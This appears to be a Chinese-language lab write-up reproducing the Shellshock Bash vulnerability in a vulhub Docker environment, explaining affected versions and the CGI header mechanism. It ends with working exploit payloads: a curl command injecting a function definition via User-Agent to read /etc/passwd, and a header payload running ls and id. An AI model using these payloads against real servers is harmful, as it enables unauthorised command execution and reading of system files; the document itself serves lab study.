0x00 实验环境
攻击机:Win 10
靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)
0x01 影响版本
标志:Bash<=4.3;8080端口,存在victim.cgi文件
shelshocke简介:
- shellshock即unix 系统下的bash shell的一个漏洞,Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统。
- bash使用的环境变量是通过函数名称来调用的,以“(){”开头通过环境变量来定义,而在处理这样的恶意的函数环境变量时,并没有以函数结尾 “}” 为结束,而是执行其后的恶意shell命令。
- 执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理
0x02 漏洞复现
(1)访问页面:
(2)这个漏洞的复现特别简单,是乌云shellshock漏洞,bash破壳的老洞:
exp:
curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://xx.xx.xx.xx:8080/victim.cgi
exp:
User-Agent: () { :;};echo;echo $(/bin/ls -al /);/usr/bin/id;